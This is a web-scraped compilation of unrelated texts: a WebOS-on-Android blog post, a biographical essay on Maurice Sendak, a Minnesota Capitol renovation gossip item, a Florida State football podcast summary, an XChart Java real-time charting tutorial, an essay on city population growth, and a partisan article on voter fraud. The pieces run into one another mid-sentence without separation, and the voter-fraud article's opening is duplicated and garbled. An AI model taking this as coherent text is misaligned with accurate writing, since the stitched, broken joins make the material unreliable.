As you can see from the video below, PIC has the WebOS UI and applications running inside of Android on a 4G Nexus S. This is a very early state, and simple actions stutter like crazy, but this is no small task. It took about a year for HP to release Open Web OS 1.0, and it’s only been available for about two months. The fact that we’re already seeing companies showing proof of concept implementations of Open WebOS components running on other devices and operating systems is heartening.
WebOS is something worthwhile, and it was far too close to death for comfort. Back in 2009, while Android was still in its infancy, WebOS had a beautiful and highly functional user interface. Even more impressively, the apps were written mainly using web technologies like HTML, CSS, and JavaScript. Sadly, WebOS’s entire lifespan at Palm and later HP was dogged by underpowered hardware that couldn’t keep up with the high-level applications. Now that its components have been open-sourced, it isn’t hamstrung by the business and management failures of its progenitors.
Provided companies like PIC can actually execute on the promise of WebOS-on-Android, we could be in for a WebOS renaissance. Think of the possibilities this could open for the Android market. If the latest and greatest Android tablet or phone could be purchased and made to utilize all of the benefits of WebOS while retaining the ability to run the huge library of Android apps, Apple would really have to scramble to compete. As a heavy iPad and iPhone user, I would seriously consider switching away to an Android/WebOS hybrid if it was executed well. We’re still a long way off from that becoming a possibility, but it is worth drooling over.
While it’s too early to tell, WebOS‘s biggest impact might be yet to come despite its near-death at the hands of the bumbling HP management. It lives on as Open WebOS, and users will hopefully soon be able to benefit from the great technology and design that came out of the death of Palm.
Now read: Install Android to breathe new life into your HP TouchPadAP PHOTO
Maurice Sendak had four obsessions: Charles Lindbergh, Jr., Mickey Mouse, Wolfgang Amadeus Mozart—and Maurice Sendak.
The Lindbergh baby became an object of pity and terror in the spring of 1932, when he was kidnapped from his New Jersey home. Two months later, the mutilated little body was found. A cascade of items filled the New York City tabloids: photographs of a ladder used to climb to the infant’s second-story bedroom; the plea of Charles, Sr., the famous aviator; the ransom note; the capture, trial, and execution of Bruno Hauptmann. All these registered in the mind of four-year-old Maurice. Like many children of that period, the boy worried that he, too, might wind up abducted by some murderous stranger. But in time, the other kids forgot their fears and got on with their lives. For Sendak, the dreadful images never receded. They were to haunt his dreams—and his work—for the next seven decades.
Mickey Mouse was something else entirely. Some years back, when I was writing an article about children’s books, Sendak invited me to his spacious house, set in the woods of Ridgefield, Connecticut. It was the first of several visits, all full of insight and reminiscence. In the living room were scores of toys, textiles, production cels, and paintings, all featuring the beloved rodent. “Mickey and I were born the same year,” Sendak explained. “The first time I saw him at the neighborhood movie house, my brother and sister had to restrain me, I was so enthralled. Partly it was those joyous primary colors. Partly it was the fluid animation that, to this day, reminds me of Fred Astaire. And partly it was because he was sassy in a way I could never be. I was too reticent to defy the adult world.” The youthful Maurice began to acquire big-eared toys and images until, as an adult, he owned one of the world’s largest private collections of Mickey Mousiana.
These afforded him as much pleasure as Mozart’s melodies. “Since I was 15, Mozart has been my savior and The Magic Flute my life preserver. I don’t play an instrument, but I can whistle large parts of the classical repertoire. When Mozart is playing in my room, I’m connected to something inexplicable. If there’s a purpose in my life, it’s for me to hear Mozart.” As soon as he could afford it, Sendak acquired a letter written by the composer; the paper, artfully matted and framed, hung incongruously alongside representations of the Disney creature—equals in the eyes of their owner. Mozart, like Mickey and the Lindbergh ladder, went on to make repeated appearances in the Sendak oeuvre.
The fourth obsession—Maurice with Maurice—began early. Sendak agreed with Graham Greene’s observation that a writer’s capital is his childhood. He ransacked it for all it was worth—and it was worth more than 100 books. Youth’s sorrows and consolations were accessible not only because Sendak had a remarkable memory but also because he had no children of his own. It’s not a coincidence that so many great writers and illustrators of children’s books have been childless, among them Margaret Wise Brown, Lewis Carroll, Theodore Geisel (Dr. Seuss), Edward Lear, C. S. Lewis, and Beatrix Potter. They stayed in close touch with their childhoods because there was no intervening generation to get in the way of their recollections. The first dozen years were always at hand to provide inspiration and authenticity.
The time leading up to Maurice Bernard Sendak’s bar mitzvah was marred by local deprivation and global misery. His parents, Philip and Sarah, were Polish immigrants fighting for a foothold in New York. Philip was a thriving dressmaker until the Great Depression destroyed his business and wiped out his savings. From that point on, life became a monthly struggle to pay rent on the Brooklyn apartment and to put food on the table for Sarah and the three children—Jack, Natalie, and Maurice. The first two were robust; the third was a serial victim of illnesses ranging from smallpox to diphtheria, which confined him to bed for months at a time. Sendak acknowledged that he was “miserable as a kid. I couldn’t make friends, I couldn’t play stoopball terrific, I couldn’t skate great. I stayed home and drew pictures. You know what they all thought of me: sissy Maurice Sendak. Whenever I wanted to go out and do something, my father would say: ‘You’ll catch cold.’ And I did.... I did whatever he told me.”
The only upside was Philip’s bedtime stories. He composed them on the spot and insisted that they had actually happened. “One was about a gang of his pals who liked to visit graveyards at midnight. They would stick poles into the ground. Whoever stuck the deepest was considered the bravest. On a special night, as they were going through their routine, they heard a horrible scream. A boy had stuck the pole into his own shirttail. He thought the dead were reaching out to grab him, and he died of fright. That was the kind of story my father told. And the thing is, I thought it was wonderful.”
These Poe-like tales were punctuated by real horror stories filtering in from Eastern Europe. One by one, Philip’s and Sarah’s relatives were disappearing into the death camps. Those who escaped to America were loud, anxious, middle-aged refugees from the new pogroms. Little Maurice regarded them as “menacing, cheek-pinching grotesques.” Tension and sorrow became constant dinner companions. “The Holocaust has run like a river of blood through all my books,” Sendak noted years later. “Anything I did had to deal with that—with my family, the ruination of my childhood, the humiliation of being a victim.”
Maurice didn’t flourish at Lafayette High School in Brooklyn, but teachers admired his portraits and sketches. At 18, the graduate arranged a portfolio of his artwork and went job hunting. Hired by a Manhattan display company, he spent the next two years designing storefronts. Then, on impulse, he quit to follow a different dream: Jack would create toys based on fairy tales, and Maurice would paint them. It became a total family affair when Natalie sewed a blanket for the wolf in Little Red Riding Hood. In The Art of Maurice Sendak, a coffee-table-size tribute, Selma G. Lanes observes that “it was almost as if the trio were engaged in a last-ditch effort to recapture their childhoods.” The effort failed. FAO Schwarz rejected the Sendaks’ prototypes out of hand, not because they were unappealing but because they were too expensive to produce, even for America’s most famous toy emporium.
There was a payoff nonetheless. Schwarz hired Sendak to construct its window displays. Over the next three years, the young man grew in style and sophistication—working on casement layouts by day, taking courses at the Art Students League by night, and studying serious painters like William Blake and Honoré Daumier, as well as popular comic artists.
In 1950, the store’s book buyer introduced Sendak to Ursula Nordstrom, the children’s book editor at Harper’s. “I had never met anyone like him,” Nordstrom recalled later. “He could imitate people wonderfully well, from the person who sat across from him in the subway to various celebrities.” Intrigued, she paired Sendak with a variety of writers. To the delight of all concerned, every book was well received, from Marcel Aymé’s Wonderful Farm to Ruth Krauss’s A Hole Is to Dig. Harper’s eventually published Higglety Pigglety Pop! and the four-volume Nutshell Library, not only illustrated by Sendak but written by him as well.
A major career had been launched. Nordstrom made only one mistake, supposing at one point that Sendak was interested in a young woman who worked at Harper’s: “Though she irked me by never getting to work on time, I was careful not to be too hard on her. I thought then she might be the future Mrs. Sendak.” That union could never happen. Sendak was gay, though he hid the fact from people he regarded as outsiders, including his parents. “They never, never, never knew,” he maintained, after Philip and Sarah passed away.
Though he was becoming a brand name, Sendak felt uncomfortable being labeled an author of children’s books. “At a party, as soon as a guy heard that was my occupation, he’d say, ‘How interesting. My wife would like to talk to you.’ It just wasn’t something a grown man did for a living.” All that changed in 1963, when, at the age of 35, Sendak produced Where the Wild Things Are. The book would become the favorite fairy tale of millions of children and adults in America, Europe, and Asia.
Its plot was elemental. Max, a small boy with a large temper, puts on a wolf costume and makes mischief throughout the house. When his mother calls him a “wild thing,” he answers, “I’ll eat you up!” and is sent to bed without his supper. His bedroom then morphs into a forest, complete with a mysterious river and an abandoned boat. He climbs aboard and takes it to the country of the wild beasts, a band of horned, fanged creatures with long claws and appalling features. Confronting them, the boy is acknowledged as their king, romps riotously with them, and then heads home, to their dismay: The wild things cried, “Oh please don’t go—we’ll eat you up—we love you so!” Max arrives in his bedroom, where a happy ending awaits him: his supper is ready, and it’s still hot. Two elements gave the book universal appeal: a little protagonist whose courage was bigger than his demons—the sort of hero every child wants to be; and luminous illustrations that evoked the palette of the Renaissance as well as the lively, vibrant line of the great eighteenth-century caricaturists Thomas Rowlandson and James Gillray.
Sendak had no trouble identifying the fantasy’s sources. In his childhood, his relatives were “inept at making small talk with children. There you’d be, sitting on a kitchen chair, totally helpless, while they cooed over you and pinched your cheeks. Or they’d lean way over with their bad teeth and hairy noses, and say something threatening like, ‘You’re so cute I could eat you up.’ And I knew if my mother didn’t hurry up with the cooking, they probably would. So, on one level at least, you could say that the wild things are Jewish relatives.” (Decades later, when his book was made into an opera, Sendak furnished the beasts with the names of his relatives: Tzippy, Moishe, Aaron, Emile, and Bernard.)
One of the book’s few naysayers was psychologist Bruno Bettelheim, who hadn’t bothered to read it but had heard about its plot. “The basic anxiety of the child is desertion,” he harrumphed. “To be sent to bed alone is one desertion, and without food is the second desertion.” Much to the neo-Freudian’s annoyance, his gripe was ignored. Where the Wild Things Are received the Caldecott Medal, the highest award for children’s books, in 1964. In his acceptance speech, Sendak noted that children live with “disrupting emotions” like “fear and anxiety,” coping with frustration as best they can. “And it is through fantasy that children achieve catharsis. It is the best means they have for taming Wild Things. It is my involvement with this inescapable fact of childhood—the awful vulnerability of children and their struggle to make themselves King of All Wild Things—that gives my work whatever truth and passion it may have.”
Financially secure at last, Sendak began to share his life with the man who would remain his partner for 50 years, Eugene Glynn, a psychoanalyst. Even then, Sendak remained intensely private. Journalists and other visitors to the Connecticut house saw his collections and family photographs, but they could discern no evidence of Glynn. It was as if Sendak lived alone.
The Sendak reputation burgeoned. At 39, he suffered a major heart attack, but even that couldn’t slow his progress. His pen-and-ink drawings and full-color illustrations adorned the texts of many famous writers, among them poet Randall Jarrell, novelist Robert Graves, and Nobel laureate Isaac Bashevis Singer. In addition, he collaborated with bygone authors whose characters had become archetypes, illustrating “The Juniper Tree” and other tales collected by the Grimm brothers; E. T. A. Hoffman’s Nutcracker; and Frank Stockton’s The Beeman of Orn. In the process, Sendak’s style advanced from the promising sketches of a wunderkind to the mature lines of a master. His crosshatching no longer worked simply as a backdrop; it made detailed comments on the action, sometimes foreboding, sometimes suggesting phosphorescence. The pen-and-ink drawings for the Grimm tales had the bite of Dürer etchings, and the colors of the Bee-Man suggested the pale reds and blues of Blake’s biblical illuminations.
Still, the major works of this period were solo flights. In the Night Kitchen, published in 1970, was a direct homage to Little Nemo, the most imaginative comic strip in American history. Written and drawn by Winsor McCay, it starred a little boy whose dreams take him to fantasy lands where nightscapes glitter and natural laws are suspended (see “Pop Art’s Pop,” Spring 2012). At the center of Night Kitchen is a toddler named Mickey (in honor of the mouse, of course). Like Nemo, Mickey starts his adventure in bed. And like the comic-strip character, he speaks in balloons and moves through starry skies and dazzling interiors. En route, he becomes weightless, floating naked in the air. Without warning, he plunges into a mass of cake batter mixed by three bakers, each a clone of comedian Oliver Hardy. But Mickey is resourceful. After piloting a plane made of dough, he dives into a bottle of milk, crows like a rooster, and returns to the safety of his room.
Night Kitchen continued the fantasy themes of Wild Things, but it proved more controversial. Mickey is nude on several pages, his genitalia fully exposed. The New York Times predicted that since the book was a “masturbatory fantasy,” it was “sure to offend.” School Library Journal published a provocative letter from a correspondent in California: “Maurice Sendak might faint but a staff member of Caldwell Parish Library, knowing that the patrons of the community might object to the illustrations of In the Night Kitchen, solved the problem by diapering the little boy with white tempera paint. Other libraries might wish to do the same.” In suburban Chicago, Night Kitchen was removed from a library’s shelves because “people keep drawing diapers on the little kid.”
These criticisms allowed Sendak to adopt his favorite pose of curmudgeon, speaking out against the “smug philistinism that absurdly denies the dignity and truth of the human body.” In fact, the philistines were a minuscule minority. Critics and kids loved Night Kitchen. It won Sendak another Caldecott, was named an American Library Association Notable Children’s Book, and received a citation as a School Library Journal Best Book of the Year. Other prizes followed. Sendak won a National Book Award and a National Medal of Arts; the Rosenbach Library in Philadelphia purchased hundreds of his original drawings and paintings.
Nevertheless, for the next 11 years, Sendak stayed clear of controversy. His new books included Ten Little Rabbits: A Counting Book; Some Swell Pup: or Are You Sure You Want a Dog?; and Pleasant Fieldmouse. Then, in 1981, he tentatively offered the last installment in what he considered his trilogy of dream-related books. Outside Over There concerns an intrepid nine-year-old girl, Ida, who reacts with imagination and fortitude when goblins kidnap her baby sister. Reminiscent of nineteenth-century German Romanticism, Sendak’s artwork won widespread praise. But the text came in for some negative commentary because it had the quality of a nightmare, hardly reassuring for a child to read—or to hear—at bedtime.
By now, Sendak had grown philosophical, and it was with some merriment that he remembered a letter from a dissatisfied young reader: “I like all of your books, why did you write this book, this is the first book I hate. I hate the babies in this book, why are they naked, I hope you die soon. Cordially....” The girl’s mother added a note: “I wondered if I should even mail this to you—I didn’t want to hurt your feelings.” Recalled Sendak, “I was so elated. It was so natural and spontaneous. The mother said, ‘You should know I am pregnant and she has been fiercely opposed to it.’ Well, she didn’t want competition, and the whole book was about a girl who’s fighting against having to look after her baby sister.” Most children, he added, “don’t dare tell the truth. Kids are the politest people in the world. A letter like that is wonderful: ‘I wish you would die.’ I should have written back, ‘Honey, I will; just hold your horses.’ ”
Another response that he treasured involved a child who had written Sendak and gotten, in return, a postcard with a drawing of a Wild Thing on it. “I got a letter back from his mother and she said, ‘Jim loved your card so much he ate it.’ That to me was one of the highest compliments I’ve ever received. He didn’t care that it was an original drawing or anything. He saw it, he loved it, he ate it.”
Grown-ups were another matter entirely. Sendak never forgot the rare pans in newspapers and magazines, and he never forgave a scathing review of Dear Mili, an illustrated Grimm tale, published in the New York Times. The writer was Salman Rushdie. “He launched an attack against my perverse obscurity, strange and meaningless allusions, and tiresome references to Mozart and dogs.” With the thinnest of smiles, Sendak went on: “He was detestable. I called up the Ayatollah and got the fatwa started.”
In the late 1960s and early 1970s, Sendak moved from the drama of storytelling to the theatricality of operas and musicals. He wrote the book and lyrics for Carole King’s 1975 television special Really Rosie, featuring the kids in the Nutshell Library books. A few years later, composer Oliver Knussen wrote the score, based on Sendak’s libretto, for the opera version of Where the Wild Things Are. It debuted in Brussels, moved on to London, and then came to the United States. (In 2009, the book also became a film directed by Spike Jonze.) Sendak designed intricate and dazzling sets for Mozart’s Magic Flute, performed by the Houston Grand Opera, and for Janáček’s Cunning Little Vixen at the New York City Opera. In addition, he created the sets and costumes for Tchaikovsky’s Nutcracker. It was performed by the Pacific Northwest Ballet Company in Vancouver, Portland, and Minneapolis, and adapted for film in 1986.
But Sendak wasn’t quite through with children’s books. With playwright Tony Kushner writing the words, he illustrated a book based on Brundibár, a Czech operetta about innocence versus evil. Here, in every sense, was a Holocaust book: the work had been performed 55 times by children imprisoned in the Nazi concentration camp of Terezín. They were then sent to the gas chambers, along with the composer, Hans Krása. Only the score and libretto survived. The victims were Jews, but Sendak wanted to draw a larger moral. “Some people were baffled by the last big picture,” he told Bill Moyers in a PBS interview. “There’s a crucifix on the wall of the children’s house. Everybody assumes the hero and heroine are Jewish and the mother is Jewish. They’re not. That was my point.... All children were in the Holocaust. Everybody was in the Holocaust. So I made sure my hero and heroine were not Jewish.”
Sendak’s brother, Jack, was a Sendak of all trades—he had worked for the Emerson electronics company as well as the post office, and he dabbled in children’s books in his spare time. Jack died in 1995, and Sendak paid tribute to him in his last published work, My Brother’s Book, with a melancholy, elegiac text (“A sad riddle is best for me”) and paintings reminiscent of Chagall’s fancier flights. As was typical of Sendak, the book had a subtext. He was also saluting Glynn, a nonsmoker who had died of lung cancer in 2007. After his partner’s death, Sendak quietly donated $1 million to the Jewish Board of Family and Children’s Services in memory of Glynn, who had treated young patients there.
Sendak became increasingly Sendakian in his last years. A triple bypass left him diminished, but not too weak to roar. Stocky, bearded, and glowering, the Connecticut Tevye railed against the excesses of technology, sentimentality, and commercialism. Last summer, New York’s Society of Illustrators paid homage to one of its greatest members with an exhibition that covered two floors. In addition to scores of Sendak’s sketches and finished artwork, the show included videotapes of his final interviews, most of them theatrically grumpy. Asked about e-books, he snapped, “I hate them. It’s like making believe there’s another kind of sex. There isn’t another kind of sex. There isn’t another kind of book.” As for posthumous tributes, he wanted “no statue in the park with a lot of scrambling kids climbing up on me, à la Hans Christian Andersen. I won’t have it.” When comedian Stephen Colbert asked him, “What’s it take for a celebrity to make a successful book?,” Sendak was ready: “You’ve started already by being an idiot.”
But these fulminations didn’t deceive the people who understood him. We knew that Sendak needed his hard carapace to cover a psyche as sensitive as a light meter. Without it, he would never have survived, let alone triumphed. We also knew that toward the end, he made his peace with life—and with death. Shortly before he suffered a fatal stroke in 2012, he looked back in unaccustomed tranquillity: “I have nothing now but praise for my life. I’m not unhappy. I cry a lot because I miss people. They die and I can’t stop them. They leave me and I love them more. There are so many beautiful things in the world which I will have to leave when I die, but I’m ready.” Perhaps that calmness came from the knowledge that three generations had bought his creations and that a fourth generation was devouring them (sometimes literally) even as he spoke. Now Sendak is gone, and there will be no more Sendak books. But of the making of Sendak fans, there is no end.Democrats in the Minnesota Legislature, Daudt carped, were squandering $90 million in taxpayer cash for a new four-story Senate Office Building.
“Here we are," said Daudt. "Democrats in St. Paul are about to spend between $60 and $90 million of taxpayers’ hard-earned money to build themselves an office building. This looks horrible.”
But about the same time Daudt was railing about waste, he was working behind the scenes to secure a posh redecoration of his own digs as part of the Capitol's massive renovation, according to a GOP legislator, who spoke on condition of anonymity so as not to run afoul of Daudt.
"Kurt's not a bad guy," says the source. "But this is fucked because here he was beating the shit out of the Democrats at the same he was angling and negotiating to decorate his new office with fancy shit. It eats away at our credibility."
The Capitol is currently undergoing a $300 million refurbishment. The idea is return it to the grandeur of its origins in 1905. Included will be $4.5 million burned on furniture and interior finishes.
Earlier this year, however, it was determined that wasn't enough. Another $2 million was appropriated.
According to the GOP lawmaker, that cash is earmarked for such things as a $10,000 ceremonial door for Daudt's office, vintage hardwood floors that the speaker "insisted on," and "fancy leather furniture" that will hark back to the days when Theodore Roosevelt was president.
"I didn't know about this and I don't know anyone else who did," the source says. "Now we find out [Daudt] went behind everyone's back to decorate this ceremonial office. It doesn't make much sense."
Messages left at Daudt's office went unreturned. But in an AP story published in the Pioneer Press, Daudt justified the additional expenses because the initial plans were "at a quality level subpar to what people would have expected in a renovation of this nature."
Daudt's foray into Martha Stewart living is not quite a done deal. The Capitol Preservation Commission must still sign off on it. That starts Monday afternoon when the 22-member panel convenes.
The meeting is open to the public.Bud Elliott and Ingram Smith return with another episode of the Nolecast, the No. 1 FSU podcast.
The Nolecast is available on Apple Podcasts (iTunes), Stitcher, Google Play Music, Soundcloud, Overcast, and many other fine podcast providers.
Follow The Nolecast on Twitter @Nolecast.
As always, The Nolecast is brought to you by Louisiana Hot Sauce, and the fine restaurants of the Tallahassee For The Table Restaurant Group (Madison Social, Township, and Centrale).
Listen to the show on the player below this article, or click here to listen.
Losing a game when your true freshman plays well isn’t what we expected, and the repeated errors not remedied from last year are hard to take. Jimbo Fisher took a gamble by not changing up his coaching staff after last year’s questionable effort, and it is now clear he lost. While it is unreasonable to expect staff changes be made during the season, fans cannot be expected to support a carbon copy of this coaching staff come 2018.
Jimbo Fisher, who has never fired a coach during his time at Florida State, used to brag that he loved when his coaches got hired away for promotions because it was showing he had done a great job in hiring. Are any of the current coaches in contention for a promotion elsewhere? That’s doubtful, and it shows the failures Fisher has made in bringing in the new staff.
Per usual, the show breaks down the positions in order.
New quarterback James Blackman showed some very encouraging signs for being a true freshman, particularly with his deep accuracy, a difficult element to teach. You either have it, or you don’t.
The special teams were mostly excellent, with the exception of Jimbo Fisher’s wrong call to kick the ball deep instead of attempting an onside kick with no timeouts, but the players on the special teams played well.
We discuss the breakdown of carries between Jacques Patrick and Cam Akers. Is it too one-sided? What needs to change?
A discussion of the offensive line ensues. Per usual, many fans don’t understand what they are watching and are blaming the offensive line for errors of the receivers, back, or quarterback. Considering how talented the N.C. State defensive line is, FSU’s offensive line played as expected. It is embarrassing, however, for the broadcast to say that Jimbo Fisher laid out a plan to have the backs and tight ends deal with defensive end Bradley Chubb, only to see time and again the staff put left tackle Derrick Kelly in a position to fail with zero help.
FSU’s poorly-coached receivers are next. Noonie Murray and Keith Gavin were no-shows. Lawrence Dawsey, who has produced only 2 draft picks in 10 seasons as FSU’s head coach, once again did not have his unit ready to play. Multiple timeouts have been wasted on this unit’s inability to line up, and quite a few pass plays failed because the receivers were in the wrong spots. If Lawrence Dawsey was not an FSU legend for his play on the field, would he have kept his job this long?
Then a large discussion of the defense ensues. The defensive line and linebackers (considering how many injuries they suffered) played OK, but Charles Kelly’s defensive backs are making the same mistakes they made last year. It is clear his teachings are not getting through. Players are playing the wrong technique, leverage, or even coverage. It is the same thing as last year and has not been fixed.
N.C State’s offensive coordinator ate Charles Kelly’s lunch, always one step ahead. FSU’s defenders did not force N.C. State’s receivers to make great plays physically, but routinely gave them too much space.
It’s tough to see FSU’s great athletes play slow and second guess because they do not trust the coaches. Athletes of this caliber, when coached right, play with confidence. They know what they have to do, and they play fast because they don’t have to think, it just becomes instinct.
The show finishes with a revision of expectations.
Four losses? Three? Five?
Is Florida State’s coaching staff stale? If so, do you have confidence that Jimbo Fisher, who seems to overvalue loyalty, will make the needed changes? Where will the pressure come for Fisher to make the changes, given that he has one of the longest guaranteed contracts in all of sports? Pride and embarrassment? Caring about his legacy?
Plus a discussion of Florida’s credit card fraud scandal that could result in 60+ felony charges.
Some early reviews from Twitter
One of the best podcasts I have listened to. No bullshit, tells it like it is. — Jim Eisenhauer (@hoochie_nole) September 26, 2017
@Nolecast Was brutally honest loved it keep up the good work — Percy Miracles (@MKMurda34) September 26, 2017
@Nolecast was straight today. Felt like festivus with the airing of grievances. — Tim Flynn (@NapalmRadio) September 26, 2017
@Nolecast hats off to y'all. None of the homeristic cheerleading of other competitors. just straight shooting. And much appreciated — Dan Smith (@DrSmith2236) September 26, 2017
New @Nolecast is a cathartic listen. Well done, boys. — Eric Shepard (@EricShepard1) September 26, 2017
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Simple Java Real-time Java Chart Example
When creating graphical user interfaces with Java, it is often useful to add charts to your Java application for visualizing data. In this tutorial, we show how to easily add charts to a Java Swing application using our open source Java charting library XChart. The two examples shown here are basic demonstrations to illustrate the core concepts and code mechanics. For building your own application with charts, including real-time line, scatter, bar, pie, histogram, stick and bubble charts, these examples can be a useful starting point. At the end of the article, there are links to further examples including different chart types and integrating a chart panel into your existing Java Swing application. XChart is an open source Java charting library with an Apache 2.0 open source license, and the source code can be found on github. XChart can be downloaded as jar from here, or the XChart jar can be integrated into your Java application via Maven
Creating real-time charts is as simple as calling updateXYSeries for one or more series objects through the XYChart instance and triggering a redraw of the JPanel containing the chart. This works for all chart types including XYChart, CategoryChart, BubbleChart and PieChart, for which example source code can be found here. Examples demonstrate using the SwingWrapper with repaintChart() method as shown here, as well as XChartPanel with revalidate() and repaint(), which you would want to use if you already had your own Java Swing application which integrates an XChartPanel.
The following sample code used to generate the following real-time chart can be found here.
XChart Simple Real-time Java Chart import org.knowm.xchart.QuickChart; import org.knowm.xchart.SwingWrapper; import org.knowm.xchart.XYChart; /** * Creates a simple real-time chart */ public class SimpleRealTime { public static void main(String[] args) throws Exception { double phase = 0; double[][] initdata = getSineData(phase); // Create Chart final XYChart chart = QuickChart.getChart("Simple XChart Real-time Demo", "Radians", "Sine", "sine", initdata[0], initdata[1]); // Show it final SwingWrapper<XYChart> sw = new SwingWrapper<XYChart>(chart); sw.displayChart(); while (true) { phase += 2 * Math.PI * 2 / 20.0; Thread.sleep(100); final double[][] data = getSineData(phase); chart.updateXYSeries("sine", data[0], data[1], null); sw.repaintChart(); } } private static double[][] getSineData(double phase) { double[] xData = new double[100]; double[] yData = new double[100]; for (int i = 0; i < xData.length; i++) { double radians = phase + (2 * Math.PI / xData.length * i); xData[i] = radians; yData[i] = Math.sin(radians); } return new double[][] { xData, yData }; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
asks, is it safe for children to walk or bike to school without adult supervision? “A lot of what makes cities work doesn’t show up in standard economic or demographic statistics,” Marohn says. “One of the signs of strength in a community is the sense of being part of something. That’s really hard to measure.”
When mayors talk about population growth or decline, they’re talking about the people in their city, not the surrounding suburbs. The reasons are obvious: They have to worry about empty storefronts, abandoned housing, fewer taxpayers and shrinking budgets in their jurisdiction. They have no control over policies in nearby municipalities and the surrounding counties.
One problem with measuring a city’s success by its population trend is the way it treats a city as an island, isolated from its neighboring communities. The economies of central cities and the areas around them are so interconnected, Gottlieb says, that it’s irresponsible to assess one without the other. When both Gottlieb and Fodor studied the relationship between population trends and economic indicators, they looked at the scale of a metropolitan statistical area, which includes large cities, counties and towns. “City residents can access jobs in the suburbs,” Gottlieb says, “and of course, jobs in the central business district are frequently filled by suburban residents.” The only way to get a clear picture of whether population growth translates to broader prosperity, he says, is to look beyond the city itself.
In 1990, Frisco, Texas, had just 6,000 people. Today it has about 150,000. There's so much construction, Mayor Jeff Cheney jokes, that Frisco's official bird should be the crane. (AP)
“Cities are part of a broad region, and what is often as important is that regional growth and the city’s place in that region,” says Bill Frey, a demographer at the Brookings Institution. To the extent that cities can enter into partnerships with their neighbors, they can benefit from shared revenue and services that smooth over some of the differences in population trends across the region. However, there are political realities to consider as well. “Mayors get elected on the health of the city,” Frey says. “They’re not the mayor of the metropolitan area.”
In the Detroit metro area, Census estimates show stable or modest growth since 2010, but that’s not how Mayor Duggan or the local media interpret the data. They focus on the city. One headline last year noted that the city’s population was at its lowest point since 1850. The story played up the symbolic significance of the fact that Detroit was no longer among the nation’s 20 most populous cities. “A lot of Detroiters really think of themselves as being in one of the country’s biggest cities,” a local history professor told The Detroit News. “And that’s just not true anymore.” Duggan himself has called the annual population drops disappointing and correctly predicted that they would become a talking point for political opponents during his re-election bid this year.
Even advocates of slower growth don’t argue that big population losses are a good thing. “Outright decline is a different matter,” Gottlieb says. With decline, “you strand infrastructure. You have vacant lots. Extreme population decline is not a cause, but a symptom of economic problems.” Mayors, he says, are correct to want a turnaround in population decline. They just need to avoid going too far in the opposite direction.
Since publishing his paper on growth without growth, Gottlieb has moved on to study suburban sprawl, rural economic development and natural resource policy. Reflecting on his original thesis, he says the recent shortages in affordable housing and income inequality were developments he didn’t foresee. He concedes that if slow-growth policies usher in greater wealth, but that wealth isn’t shared equitably, some benefits of population stability are lost.
Fodor, meanwhile, continues to stress his ideas about growing better, not bigger. It’s been almost two decades since he published his book on the subject. Asked if cities approach growth differently today, he says, “not as much as you might have hoped. That’s the calamity. You’d like to think that we’re smart and can work off information, but we tend to avoid changing until we really have to. In the meantime, we’re still very much part of the growth model.”O pponents of measures to improve ballot integrity like to deny that voter fraud exists. “Voter fraud is very rare, [and] voter impersonation is nearly non-existent,” asserts a statement by NYU law school’s Brennan Center entitled “ pponents of measures to improve ballot integrity like to deny that voter fraud exists. “Voter fraud is very rare, [and] voter impersonation is nearly non-existent,” asserts a statement by NYU law school’s Brennan Center entitled “ The Myth of Voter Fraud. ” That claim, so common on the left, is based on an assumption that election officials are on the lookout for fraud and mistakes. But incidents in states from Virginia to Pennsylvania to New York show that too many election officials are ignoring or even covering up the systemic problems brought to their attention. One way not to find something is simply not to look.
According to a 2012 Pew Research Center survey, one out of eight American voter registrations is inaccurate, out-of-date, or a duplicate. Some 2.8 million people are registered in two or more states, and 1.8 million registered voters are dead.
Even though that’s a rich vein of potential mischief for fraudsters, the Obama administration hasn’t filed a single lawsuit in eight years demanding that counties clean up their voter rolls, as they are required to do by the federal “motor voter” law. I’ve spoken to three Justice Department lawyers who attended a meeting on Nov. 30, 2009, in which they claim then-deputy assistant attorney general Julie Fernandez said the DOJ would not be enforcing that provision of the motor voter law because it ran counter to the law’s overall goal of “increasing turnout.” (Ms. Fernandez did not respond to repeated requests for comment.)
J. Christian Adams, who previously worked in the Justice Department’s Voting Rights Section and attended the 2009 Fernandez meeting, now heads the Public Interest Law Foundation. He has forced several counties in states such as Mississippi and Texas to clean up their voter rolls. But in many other states, his efforts have run into outright obstructionism. He was able to get voter-registration records from eight of Virginia’s 133 cities and counties, and found 1046 illegal aliens who were illegally registered to vote. In the decade between 2005 and 2015, a number of those aliens had voted some 300 times. Their presence on the voter rolls was only discovered if, in renewing their driver’s licenses, they corrected their past false claims of citizenship.
Adams’s group also discovered systemic problems in Philadelphia, where 86 illegal aliens had their voter registrations canceled from 2013 to 2015, 40 of whom had voted in at least one election. Philadelphia’s voter rolls are so sloppily managed, according to the group’s report, that it’s hard for undocumented immigrants to have their names removed even when they ask, and officials make no attempt to ensure voters who are incarcerated for felonies get removed from the voter rolls.
Asked how ineligible voters could be registered in Philadelphia, a city elections official, who won’t identify himself, says, “I have no idea what they’re talking about. No, there aren’t,” before abruptly hanging up the phone.
Sometimes the reaction of city officials to revelations that they are presiding over a flawed system can become an effort to silence critics. In 2013, New York City’s Department of Investigations dispatched undercover agents to 63 polling places. The agents assumed the names of people who had died, moved out of town, or were sitting in jail. In 61 instances, or 97 percent of the time, they were allowed to vote, because no photo ID was required. (They cast only meaningless write-in votes so as not to affect the outcome of any contest.)
The DOI published a searing 70-page report accusing the city’s Board of Elections of incompetence, waste, nepotism, and lax protocols. But far from launching an internal probe, the Board approved a bipartisan resolution referring DOI investigators for prosecution. It also asked the state’s attorney general to determine whether DOI had violated the civil rights of voters who had moved or are felons, and it sent a letter of complaint to Mayor Bill de Blasio.
